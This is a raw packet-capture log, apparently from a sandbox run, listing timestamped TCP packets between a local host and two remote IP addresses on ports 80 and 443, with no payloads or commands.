Nov 2, 2024 07:16:15.287329912 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287389040 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287420988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287430048 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287432909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287460089 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287470102 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287484884 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287497044 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287507057 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287518978 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287530899 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287532091 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287542105 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287554979 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287575960 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287578106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287589073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287625074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287661076 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287702084 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287723064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287734985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287745953 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287766933 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287767887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287790060 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287792921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287805080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287817955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287846088 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287931919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287955999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287976027 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.287976980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.287990093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288022995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288029909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288041115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288049936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288070917 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288089991 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288161039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288240910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288250923 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288261890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288280964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288285017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288292885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288307905 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288328886 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288336992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288348913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288361073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288372040 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288378954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288403034 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288405895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288422108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288427114 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288440943 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288448095 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288458109 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288460970 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288471937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288475037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288481951 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288492918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288501978 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288511038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288541079 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288551092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288561106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288570881 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288582087 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.288604975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.288619041 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.329169989 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.329183102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.329189062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.329382896 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356116056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356137037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356147051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356203079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356208086 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356251001 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356266022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356276035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356292963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356306076 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356306076 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356317043 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356317997 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356337070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356362104 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356518030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356555939 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356563091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356575012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356597900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356606007 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356611013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356615067 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356621981 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356648922 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356648922 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356663942 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356688023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356750965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356760979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356772900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356781006 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356786013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356798887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356816053 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356827974 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356888056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356899977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356910944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356935024 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356947899 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.356961966 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356972933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.356981993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357000113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357003927 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357012033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357016087 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357024908 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357038975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357068062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357206106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357222080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357232094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357248068 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357256889 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357258081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357265949 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357271910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357292891 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357302904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357314110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357325077 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357325077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357337952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357347965 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357377052 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357422113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357433081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357444048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357455969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357466936 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357472897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357484102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357486010 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357495070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357506037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357517004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357518911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357531071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357536077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357542992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357561111 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357574940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357583046 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357588053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357599974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357610941 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357613087 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357623100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.357633114 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.357665062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358002901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358040094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358053923 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358076096 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358088017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358108044 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358120918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358136892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358149052 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358160019 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358160019 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358170033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358185053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358187914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358198881 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358206987 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358212948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358221054 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358248949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358252048 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358262062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358280897 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358309031 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358338118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358350039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358361006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358381987 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358407974 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358505964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358592033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358607054 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358652115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358681917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358694077 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358705044 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358725071 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358738899 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358746052 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358752012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358778954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358791113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358798027 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358808041 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358812094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358834028 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358849049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358855009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358876944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358915091 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358920097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358932018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.358968019 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.358989954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.359002113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.359010935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.359021902 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.359025002 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.359031916 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.359044075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.359056950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.359061956 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.359069109 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.359090090 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.359108925 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.359193087 CET	443	63829	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.359492064 CET	443	63829	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.360189915 CET	63829	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.398192883 CET	63829	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.398192883 CET	63829	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.398230076 CET	443	63829	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.398257971 CET	443	63829	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.404872894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.404920101 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.404959917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.404999018 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405019999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405029058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405041933 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405064106 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405071974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405082941 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405098915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405123949 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405469894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405487061 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405498028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405508041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405518055 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405522108 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405539036 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405554056 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405683994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405719042 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405723095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405734062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405750036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405760050 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405760050 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405771971 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405793905 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405844927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405854940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405873060 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405883074 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405894041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405894041 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405906916 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405910015 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405925035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405925035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405937910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405949116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405956984 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405958891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405971050 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405977964 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.405981064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.405994892 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406027079 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406073093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406081915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406091928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406102896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406112909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406116962 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406124115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406126022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406145096 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406146049 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406157970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406168938 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406173944 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406179905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406188011 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406193018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406215906 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406232119 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406239033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406245947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406256914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406264067 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406275988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406277895 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406286955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406299114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406299114 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406306028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406311989 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406315088 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406331062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406339884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406368017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406455994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406466961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406476974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406500101 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406507015 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406517982 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406528950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406539917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406560898 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406574965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406584024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406594038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406594992 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406605005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406610966 CET	63819	80	192.168.2.4	185.215.113.16
